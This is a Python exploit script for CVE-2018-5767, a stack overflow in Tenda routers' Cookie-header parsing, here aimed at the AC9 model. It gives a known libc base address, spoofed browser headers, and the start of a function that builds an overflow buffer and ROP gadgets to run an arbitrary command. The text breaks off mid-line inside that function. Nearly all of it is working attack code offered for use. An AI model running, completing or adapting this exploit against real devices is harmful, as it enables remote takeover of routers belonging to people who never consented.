import argparse import binascii import requests import struct description = """ The following is an actualization of CVE-2018-5767, a vulnerability which exploits an unguarded call to sscanf that occurs when parsing the 'Cookie' header for a password. The vulnerability was initially discovered in, and reported for, the AC15 model router, but has been rediscovered in several different routers in this product line. This implementation sees it exploit the model AC9, which is not presently covered by any CVE. A memory address for the base of libc known to work on this router is 0x2ad6d000. See the following for more information: https://www.cve.org/CVERecord?id=CVE-2018-5767 https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/ https://www.klogixsecurity.com/scorpion-labs-blog/sometimes-exploits-need-patches-too-working-through-a-change-of-address """ headers = dict() headers["Connection"] = "keep-alive" headers["Upgrade-Insecure-Requests"] = "1" headers["User-Agent"] = "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36" headers["Sec-Fetch-User"] = "?1" headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp/image/apng,*/*;q=0.8,application/signed-exchange;v=b3" headers["Sec-Fetch-Site"] = "none" headers["Sec-Fetch-Mode"] = "navigate" headers["Accept-Encoding"] = "gzip, deflate, br" headers["Accept-Language"] = "en-US,en;q=0.9" def exploit(target, port, libc, cmd): buffer = "A" * 456 gadget1 = struct.pack("